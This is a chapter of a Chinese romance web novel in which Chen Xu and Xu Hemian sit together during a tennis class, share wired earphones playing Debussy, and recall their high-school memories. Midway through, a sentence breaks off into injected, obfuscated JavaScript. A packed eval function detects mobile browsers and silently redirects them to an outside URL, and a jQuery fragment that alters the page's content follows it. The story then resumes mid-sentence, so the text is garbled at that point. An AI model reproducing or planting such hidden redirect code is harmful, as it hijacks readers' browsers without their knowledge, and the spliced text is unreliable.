陈序的视线落在身侧的床上。
那里空荡荡的。
床单陷下去的弧度早已平复，只剩下一点若有若无的、属于许鹤眠的洗发水清香，混着雨后的潮气，在空气中慢慢淡去。
目光缓缓扫过卧室。
黑猫还蜷缩在床脚，小小的身体裹着昨晚许鹤眠用的薄毯，睡得正沉，喉咙里发出细微的咕噜声，尾巴偶尔轻轻扫过床垫。
大概是感觉到陈序的视线，黑猫动了动耳朵，却没醒，只是往毯子深处又缩了缩，像是还贪恋着许鹤眠残留的暖意。
除此之外，房间再无其他人。
许鹤眠离开了。
她连背影也没有留给他，一如往日。
陈序垂下眼睫，看不清眼底的情绪。
目光扫过客厅的茶几旁，躺着一根小小的白色发绳。
是昨晚许鹤眠扎头发时不小心掉的。
她没有带走。
或许是忘记了吧。
陈序走过去，弯腰捡起发绳。
指尖捏着那点柔软的布料，仿佛能感觉到上面残留的、极淡的发丝触感。
*
天气竟难得放晴。
清晨的薄雾早已散尽，阳光毫无遮拦地铺洒下来，耀眼得让人心头发暖。
天空是澄澈的蓝，连一丝云絮都没有，像被水洗过的绸缎，干净得晃眼。
网球课的铃声准时响起，在空气中荡开。塑胶球场被阳光晒了许久，已经微微发烫，踩上去能感觉到脚底传来的温热，淡淡的橡胶味随着温度升高慢慢散开，却不刺鼻，反而和周围香樟树的清香缠在一起。
那是樟树叶子被晒透后特有的、带着点清苦的甜香，漫在风里，把整个球场都裹进一片夏日特有的慵懒里。
香樟树的枝叶长得茂密，在球场边缘织成一片浓绿的荫凉，偶尔有风吹过，树叶沙沙作响。
许鹤眠背着网球包走过来时，阳光刚好穿过树叶的缝隙，细碎的光斑也跟着轻轻晃动，落在她白色的运动服上，又很快被风吹走。
许鹤眠的脚步很轻，帆布鞋踩在球场上几乎没声音。
她走到自己的站位，下意识地抬眼扫了一圈。
视线掠过球场另一侧时，刚好撞上陈序的目光。
陈序穿着浅灰色的速干运动服，领口处露出一截清晰的锁骨。
阳光如同汩汩泉水，顺着陈序的下颌线往下滑，流入锁骨窝的凹陷里，泛着盈润的光泽。
陈序手里握着网球拍，拍面朝下抵在地面，大概是上课前刚练完一组，站姿却依旧挺拔，像棵迎着阳光的树，连额前被汗水打湿些许的碎发，都透着股漫不经心的锐利。
许鹤眠的目光在陈序身上停了半秒，像没看见似的移开，低头从包里拿出球拍。
指尖碰到冰凉的拍柄，丝丝凉意压下离开陈序家时的某些情愫。
此刻面对陈序，许鹤眠只能用平静伪装自己。
像过去无数次那样，把不该有的情绪揉进沉默里。
杨老师似乎有其他要紧事，吹了几声哨子，示意大家随机分组练接球。
许鹤眠步伐沉稳，走向相近的一个女同学。
陈序扫了她一眼，与一个男生一组，站在对面场地。
余光里，许鹤眠看着陈序挥拍，却发现他状态明显不对。
以往的网球课上，陈序接球又快又准，今天却接连漏了好几个，网球擦着他的拍边飞出去，落在场外的草地上。
陈序似乎没在意，只是弯腰捡球时，动作慢了些，眼底带着点未散的倦意。
休息时间一到，陈序便拿着水瓶走到场边的树荫下，找了个长椅坐下。
他微微仰头喝水，喉结滚动的弧度漂亮流畅，喝完后把水瓶放在脚边，闭上眼靠在椅背上，长长的睫毛在眼睑下投出浅淡的阴影，像是在闭目养神，又像是在平复什么。
许鹤眠站在原地，左手握着一颗网球。
手里的网球被捏得有些发烫，指尖反复摩挲着球面的纹路。
许久。
许鹤眠迈开脚步，朝着树荫下走去。
长椅是普通的双人规格，许鹤眠在陈序身边坐下时，两人之间隔着一个拳头的距离。
刚好能闻到陈序身上淡淡的气息，混着阳光晒过的味道，比雨夜的皂角香更鲜活些。
“你今天状态不好？”许鹤眠的声音很轻，目光向着正前方，落在远处的网球场上。
闻言，陈序睁开眼，睫毛颤了颤。
看清身边的人是许鹤眠时，明显愣了几秒。
眼底的倦意被意外取代，随即又恢复平静，轻轻“嗯”了一声。
“没休息好。”陈序说。
许鹤眠的指尖顿了顿，握着网球的手微微收紧。
陈序没休息好，她当然知道原因。
昨夜的吻，汹涌又生涩。
尴尬堵在喉咙里，让许鹤眠没法再往下问，只能沉默地看着地面上交错的树影。
陈序侧过头，看着许鹤眠紧绷的侧脸。
他忽然勾了勾唇角，笑意很淡，却让眼底的倦意散了些，“你呢？你昨晚休息得好不好？”
这个问题像根细针，轻轻扎在许鹤眠心上。
许鹤眠抬起头，刚好对上陈序的目光。
阳光透过树叶落在他脸上，明明灭灭，把他的眉眼衬得温润柔和，连带着那点倦意都显得温柔。
许鹤眠张了张嘴，却没找到合适的话。
最终只是从口袋里掏出一副白色的有线耳机、
耳机线绕得整齐，插头处有些磨损，显然用了很久。
许鹤眠把其中一只耳机递过去，指尖捏着耳机线，避免碰到陈序的手。
“听听这个，有时候我雨天失眠，听完会好一些。”
陈序微微一怔。
而后接过耳机。
指尖碰到冰凉的耳机壳，还有柔软的线绳。
与现在流行的无线耳机不同，这根线像一条细小的纽带，短暂地将他们连在一起。
陈序把耳机塞进耳朵，舒缓的钢琴曲立刻流进耳蜗。
是德彪西的《月光》，节奏舒缓，如同流水漫过心尖，刚好能抚平心底的躁动。
许鹤眠把另一只耳机塞进自己耳朵，调整了一下音量。
杨老师不在，大家心照不宣延长着休息时间。
许鹤眠与陈序就这么安静地靠在长椅上，听着音乐，看阳光在草地上移动。
香樟树的叶子被风吹得轻轻晃动，光影在他们身上流转。
偶尔有网球滚到脚边，又被其他人捡走。
整个世界安静得只剩下钢琴曲与风声。
忽然。
陈序轻声开口：“高一校庆的时候，你弹的就是这首曲子。”
许鹤眠的身体顿了一下。
她转过头，看着陈序的侧脸。
阳光刚好落在陈序的睫毛上，泛着浅金的光。
“是吗？我不记得了。”
高中时期的许多记忆，都坍塌成许鹤眠刻意掩埋的废墟。
尤其是那些需要站在人前的时刻，只留下模糊的影子。
陈序侧过头，与许鹤眠的目光在阳光下相遇。
他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16247221|179648||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
瞳仁黑沉沉的，里面清晰映着许鹤眠的影子。
“我记得。”陈序的声音很认真，没有丝毫玩笑的意味，“那天你坐在钢琴前，灯光落在你身上，是白色的。”
许鹤眠怔在那里，下意识地想移开目光，却被陈序的目光牢牢锁住，动弹不得。
他们四目相对。
许久。
久到许鹤眠不得不看清陈序眼底的自己。
“与你有关的许多事，我都记得。”陈序又开口。
听到这话，许鹤眠忽然笑了一下。
唇角弯起一个浅浅的弧度，转瞬即逝。
“比如呢？”她问。
“高中晚自习的第一节课，你会对着窗外看很久。”陈序的目光落在远处的建筑上，有些虚焦，仿佛在回忆那时的画面，“晚自习六点五十分开始，而你总要等到七点整，才放过窗外的那棵梧桐树，低头看书。我想，你大概是喜欢在整点开始学习。”
许鹤眠的眼底闪过一丝意外。
这件事连她自己都快忘记了。
她在学习上有一个小怪癖，就是喜欢凑整点。
如今的许鹤眠早已放弃对整点的执念，只记得那时窗外的梧桐树很安稳，不像自己现在的生活，总在漂泊。
许鹤眠没有说话，只是静静地看着陈序。
“你桌上总是放着一本作文素材，可是很少翻动。”陈序继续往下说，唇角勾起一抹浅淡的笑意，带着几分怀念，“那时候我觉得你好奇怪，怎么总是看这一本？直到后来有一次老师来检查，你把它拉下来挡住下面正在看的课外书，我才知道，原来它只是个挡箭牌。”
许鹤眠移开目光，看向天空。
阳光很刺眼，她下意识地眯了眯眼。
高中那些细碎的小事，许鹤眠从未跟任何人说过。
“你还记得你高一体育课跳远的成绩么？”陈序看着许鹤眠的侧脸。
许鹤眠摇摇头。
她对体育成绩向来没概念，只记得跳完后膝盖很疼。
“你一共跳了三次。”陈序的嗓音干净清润，带着低低的笑意，“第一次跳了一米五四，第二次一米五七，第三次拼尽全力，跳了一米六——你落地的时候差点摔倒，扶着膝盖蹲了很久。我当时想走过去扶你，却看到你自己慢慢站了起来。”
许鹤眠看着天空掠过的飞鸟，它们舒展着翅膀，朝着阳光的方向飞去，留下一道淡淡的影子。
陈序清冽好听的声音在此刻染上一抹寂寥，“许鹤眠，我应该在那一刻走向你的。”
许鹤眠微微仰头，安静了许久。
久到风都停住脚步，只剩下树叶的轻响。
然后，许鹤眠慢慢站起身，向着阳光张开手指，掌心对着太阳，阳光透过指缝落在她脸上，阴影遮住了她的表情，只留下清晰的指尖轮廓。
“陈序，你不用走向我。”许鹤眠的声音很轻，却很清晰，像风拂过树叶，“我不会留在过去，我会一直往前走，永远也不回头。”
说完，她转过身，重新对上陈序的目光。
阳光忠诚地守护在许鹤眠身后，给她的轮廓镀上了一层金边。
她的神情没有波澜，依然淡淡的。
“休息时间结束了。”许鹤眠把耳机从耳朵里摘下来，绕好线塞进口袋，然后拿起脚边的网球拍，朝着球场走去。
陈序看着许鹤眠的背影，白色的运动服在阳光下格外惹眼。
许鹤眠的步伐很稳，没有丝毫犹豫。
陈序抬眼看向她的背影。
几秒后，他起身跟上去，伸手拉住了许鹤眠的手腕。